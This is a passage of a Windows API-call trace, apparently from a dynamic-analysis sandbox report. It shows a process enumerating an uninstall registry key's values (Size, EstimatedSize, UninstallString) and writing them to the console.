_get_osfhandle (_FileHandle=1) returned 0x50 [0148.385] _errno () returned 0xc4bb0 [0148.385] GetFileType (hFile=0x50) returned 0x1 [0148.385] lstrlenW (lpString=" ") returned 4 [0148.385] GetConsoleOutputCP () returned 0x1b5 [0148.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.385] GetConsoleOutputCP () returned 0x1b5 [0148.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.386] __iob_func () returned 0x7fefd702a80 [0148.386] _fileno (_File=0x7fefd702ab0) returned 1 [0148.386] _errno () returned 0xc4bb0 [0148.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.386] _errno () returned 0xc4bb0 [0148.386] GetFileType (hFile=0x50) returned 0x1 [0148.386] lstrlenW (lpString="") returned 0 [0148.386] __iob_func () returned 0x7fefd702a80 [0148.386] _fileno (_File=0x7fefd702ab0) returned 1 [0148.386] _errno () returned 0xc4bb0 [0148.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.386] _errno () returned 0xc4bb0 [0148.386] GetFileType (hFile=0x50) returned 0x1 [0148.386] lstrlenW (lpString="\n") returned 1 [0148.386] GetConsoleOutputCP () returned 0x1b5 [0148.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.386] GetConsoleOutputCP () returned 0x1b5 [0148.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.386] GetProcessHeap () returned 0x2e0000 [0148.386] GetProcessHeap () returned 0x2e0000 [0148.386] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.386] GetProcessHeap () returned 0x2e0000 [0148.386] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.386] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.386] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.387] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.387] GetProcessHeap () returned 0x2e0000 [0148.387] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.387] GetProcessHeap () returned 0x2e0000 [0148.387] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.387] GetProcessHeap () returned 0x2e0000 [0148.387] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.387] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.387] __iob_func () returned 0x7fefd702a80 [0148.387] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.387] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.387] _fileno (_File=0x7fefd702ab0) returned 1 [0148.387] _errno () returned 0xc4bb0 [0148.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.387] _errno () returned 0xc4bb0 [0148.387] GetFileType (hFile=0x50) returned 0x1 [0148.387] lstrlenW (lpString=" ") returned 4 [0148.387] GetConsoleOutputCP () returned 0x1b5 [0148.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.387] GetConsoleOutputCP () returned 0x1b5 [0148.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.387] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.387] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.387] lstrlenW (lpString="Size") returned 4 [0148.387] __iob_func () returned 0x7fefd702a80 [0148.387] _fileno (_File=0x7fefd702ab0) returned 1 [0148.387] _errno () returned 0xc4bb0 [0148.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.388] _errno () returned 0xc4bb0 [0148.388] GetFileType (hFile=0x50) returned 0x1 [0148.388] lstrlenW (lpString="Size") returned 4 [0148.388] GetConsoleOutputCP () returned 0x1b5 [0148.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.388] GetConsoleOutputCP () returned 0x1b5 [0148.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0148.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.388] __iob_func () returned 0x7fefd702a80 [0148.388] _fileno (_File=0x7fefd702ab0) returned 1 [0148.388] _errno () returned 0xc4bb0 [0148.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.388] _errno () returned 0xc4bb0 [0148.388] GetFileType (hFile=0x50) returned 0x1 [0148.388] lstrlenW (lpString=" ") returned 4 [0148.388] GetConsoleOutputCP () returned 0x1b5 [0148.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.388] GetConsoleOutputCP () returned 0x1b5 [0148.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.389] __iob_func () returned 0x7fefd702a80 [0148.389] _fileno (_File=0x7fefd702ab0) returned 1 [0148.389] _errno () returned 0xc4bb0 [0148.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.389] _errno () returned 0xc4bb0 [0148.389] GetFileType (hFile=0x50) returned 0x1 [0148.389] lstrlenW (lpString="REG_SZ") returned 6 [0148.389] GetConsoleOutputCP () returned 0x1b5 [0148.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.389] GetConsoleOutputCP () returned 0x1b5 [0148.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.389] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.389] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.389] __iob_func () returned 0x7fefd702a80 [0148.389] _fileno (_File=0x7fefd702ab0) returned 1 [0148.389] _errno () returned 0xc4bb0 [0148.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.389] _errno () returned 0xc4bb0 [0148.389] GetFileType (hFile=0x50) returned 0x1 [0148.389] lstrlenW (lpString=" ") returned 4 [0148.389] GetConsoleOutputCP () returned 0x1b5 [0148.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.390] GetConsoleOutputCP () returned 0x1b5 [0148.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.390] __iob_func () returned 0x7fefd702a80 [0148.390] _fileno (_File=0x7fefd702ab0) returned 1 [0148.390] _errno () returned 0xc4bb0 [0148.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.390] _errno () returned 0xc4bb0 [0148.390] GetFileType (hFile=0x50) returned 0x1 [0148.390] lstrlenW (lpString="") returned 0 [0148.390] __iob_func () returned 0x7fefd702a80 [0148.390] _fileno (_File=0x7fefd702ab0) returned 1 [0148.390] _errno () returned 0xc4bb0 [0148.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.390] _errno () returned 0xc4bb0 [0148.390] GetFileType (hFile=0x50) returned 0x1 [0148.390] lstrlenW (lpString="\n") returned 1 [0148.390] GetConsoleOutputCP () returned 0x1b5 [0148.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.390] GetConsoleOutputCP () returned 0x1b5 [0148.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.391] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.391] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.391] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.391] GetProcessHeap () returned 0x2e0000 [0148.391] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.391] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x23c, pcbData=0x23f670*=0x4) returned 0x0 [0148.391] __iob_func () returned 0x7fefd702a80 [0148.391] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.391] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.391] _fileno (_File=0x7fefd702ab0) returned 1 [0148.391] _errno () returned 0xc4bb0 [0148.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.391] _errno () returned 0xc4bb0 [0148.391] GetFileType (hFile=0x50) returned 0x1 [0148.391] lstrlenW (lpString=" ") returned 4 [0148.391] GetConsoleOutputCP () returned 0x1b5 [0148.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.391] GetConsoleOutputCP () returned 0x1b5 [0148.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.392] lstrlenW (lpString="EstimatedSize") returned 13 [0148.392] __iob_func () returned 0x7fefd702a80 [0148.392] _fileno (_File=0x7fefd702ab0) returned 1 [0148.392] _errno () returned 0xc4bb0 [0148.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.392] _errno () returned 0xc4bb0 [0148.392] GetFileType (hFile=0x50) returned 0x1 [0148.392] lstrlenW (lpString="EstimatedSize") returned 13 [0148.392] GetConsoleOutputCP () returned 0x1b5 [0148.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.392] GetConsoleOutputCP () returned 0x1b5 [0148.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.392] __iob_func () returned 0x7fefd702a80 [0148.392] _fileno (_File=0x7fefd702ab0) returned 1 [0148.392] _errno () returned 0xc4bb0 [0148.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.392] _errno () returned 0xc4bb0 [0148.392] GetFileType (hFile=0x50) returned 0x1 [0148.392] lstrlenW (lpString=" ") returned 4 [0148.392] GetConsoleOutputCP () returned 0x1b5 [0148.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.393] GetConsoleOutputCP () returned 0x1b5 [0148.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.393] __iob_func () returned 0x7fefd702a80 [0148.393] _fileno (_File=0x7fefd702ab0) returned 1 [0148.393] _errno () returned 0xc4bb0 [0148.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.393] _errno () returned 0xc4bb0 [0148.393] GetFileType (hFile=0x50) returned 0x1 [0148.393] lstrlenW (lpString="REG_DWORD") returned 9 [0148.393] GetConsoleOutputCP () returned 0x1b5 [0148.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.393] GetConsoleOutputCP () returned 0x1b5 [0148.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.393] __iob_func () returned 0x7fefd702a80 [0148.393] _fileno (_File=0x7fefd702ab0) returned 1 [0148.393] _errno () returned 0xc4bb0 [0148.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.393] _errno () returned 0xc4bb0 [0148.393] GetFileType (hFile=0x50) returned 0x1 [0148.394] lstrlenW (lpString=" ") returned 4 [0148.394] GetConsoleOutputCP () returned 0x1b5 [0148.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.394] GetConsoleOutputCP () returned 0x1b5 [0148.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.394] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.394] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.394] __iob_func () returned 0x7fefd702a80 [0148.394] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.394] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x23c") returned 5 [0148.394] _fileno (_File=0x7fefd702ab0) returned 1 [0148.394] _errno () returned 0xc4bb0 [0148.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.394] _errno () returned 0xc4bb0 [0148.394] GetFileType (hFile=0x50) returned 0x1 [0148.394] lstrlenW (lpString="0x23c") returned 5 [0148.394] GetConsoleOutputCP () returned 0x1b5 [0148.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x23c", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.394] GetConsoleOutputCP () returned 0x1b5 [0148.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x23c", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x23c", lpUsedDefaultChar=0x0) returned 5 [0148.395] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.395] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.395] __iob_func () returned 0x7fefd702a80 [0148.395] _fileno (_File=0x7fefd702ab0) returned 1 [0148.395] _errno () returned 0xc4bb0 [0148.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.395] _errno () returned 0xc4bb0 [0148.395] GetFileType (hFile=0x50) returned 0x1 [0148.395] lstrlenW (lpString="\n") returned 1 [0148.395] GetConsoleOutputCP () returned 0x1b5 [0148.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.395] GetConsoleOutputCP () returned 0x1b5 [0148.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.395] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.395] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.395] GetProcessHeap () returned 0x2e0000 [0148.395] GetProcessHeap () returned 0x2e0000 [0148.395] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.395] GetProcessHeap () returned 0x2e0000 [0148.395] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.395] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.395] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.395] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.395] GetProcessHeap () returned 0x2e0000 [0148.395] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.396] GetProcessHeap () returned 0x2e0000 [0148.396] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.396] GetProcessHeap () returned 0x2e0000 [0148.396] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.396] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.396] __iob_func () returned 0x7fefd702a80 [0148.396] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.396] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.396] _fileno (_File=0x7fefd702ab0) returned 1 [0148.396] _errno () returned 0xc4bb0 [0148.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.396] _errno () returned 0xc4bb0 [0148.396] GetFileType (hFile=0x50) returned 0x1 [0148.396] lstrlenW (lpString=" ") returned 4 [0148.396] GetConsoleOutputCP () returned 0x1b5 [0148.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.396] GetConsoleOutputCP () returned 0x1b5 [0148.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.396] lstrlenW (lpString="UninstallString") returned 15 [0148.396] __iob_func () returned 0x7fefd702a80 [0148.396] _fileno (_File=0x7fefd702ab0) returned 1 [0148.396] _errno () returned 0xc4bb0 [0148.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.396] _errno () returned 0xc4bb0 [0148.396] GetFileType (hFile=0x50) returned 0x1 [0148.396] lstrlenW (lpString="UninstallString") returned 15 [0148.397] GetConsoleOutputCP () returned 0x1b5 [0148.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.397] GetConsoleOutputCP () returned 0x1b5 [0148.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.397] __iob_func () returned 0x7fefd702a80 [0148.397] _fileno (_File=0x7fefd702ab0) returned 1 [0148.397] _errno () returned 0xc4bb0 [0148.397] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.397] _errno () returned 